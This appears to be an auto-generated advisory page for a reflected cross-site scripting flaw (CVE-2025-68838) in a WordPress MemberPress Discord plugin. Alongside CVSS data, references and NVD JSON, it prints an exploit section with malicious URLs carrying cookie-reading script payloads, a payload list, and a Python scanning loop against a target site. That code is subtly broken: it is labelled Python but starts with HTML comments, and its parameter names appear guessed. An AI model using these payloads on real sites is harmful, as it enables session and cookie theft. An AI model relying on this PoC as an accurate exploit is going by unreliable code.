CVE-2025-68838

Description

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in expresstechsoftware MemberPress Discord Addon expresstechsoftwares-memberpress-discord-add-on allows Reflected XSS.This issue affects MemberPress Discord Addon: from n/a through <= 1.1.4.

CVSS Details

CVSS Score

7.1

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

expresstechsoftwares-memberpress-discord-add-on <= 1.1.4

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- CVE-2025-68838 PoC - MemberPress Discord Addon Reflected XSS -->
<!-- 攻击者构造的恶意URL示例 -->
<!-- 
http://target-site.com/?page=memberpress-discord&redirect=%22%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E
或
http://target-site.com/?page=memberpress-discord&error=%3Cimg%20src=x%20onerror=alert(%27XSS%27)%3E
-->

<!-- 自动化测试PoC -->
import requests
import urllib.parse

target_url = "http://target-site.com/"

# 反射型XSS payload
xss_payloads = [
    "<script>alert(document.cookie)</script>",
    "<img src=x onerror=alert('XSS')>",
    "<svg onload=alert(document.domain)>",
    "\" onmouseover=alert(1) x=\"",
    "<iframe src=javascript:alert(document.cookie)>",
]

# 测试参数
params_to_test = ["redirect", "error", "msg", "callback", "next"]

for param in params_to_test:
    for payload in xss_payloads:
        test_url = f"{target_url}?page=memberpress-discord&{param}={urllib.parse.quote(payload)}"
        response = requests.get(test_url)
        if payload in response.text:
            print(f"[+] Vulnerable! Payload reflected in response")
            print(f"[+] URL: {test_url}")
            break

print("[*] Testing complete")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-68838
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-68838
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-68838/
[4] VulDB https://vuldb.com/cve/CVE-2025-68838
[5] https://patchstack.com/database/Wordpress/Plugin/expresstechsoftwares-memberpress-discord-add-on/vulnerability/wordpress-memberpress-discord-addon-plugin-1-1-4-reflected-cross-site-scripting-xss-vulnerability?_s_id=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-68838", "sourceIdentifier": "[email protected]", "published": "2026-01-22T17:16:11.260", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in expresstechsoftware MemberPress Discord Addon expresstechsoftwares-memberpress-discord-add-on allows Reflected XSS.This issue affects MemberPress Discord Addon: from n/a through <= 1.1.4."}, {"lang": "es", "value": "Neutralización Incorrecta de la Entrada Durante la Generación de Páginas Web ('cross-site scripting') vulnerabilidad en expresstechsoftware MemberPress Discord Addon expresstechsoftwares-memberpress-discord-add-on permite XSS Reflejado. Este problema afecta a MemberPress Discord Addon: desde n/a hasta <= 1.1.4."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/expresstechsoftwares-memberpress-discord-add-on/vulnerability/wordpress-memberpress-discord-addon-plugin-1-1-4-reflected-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}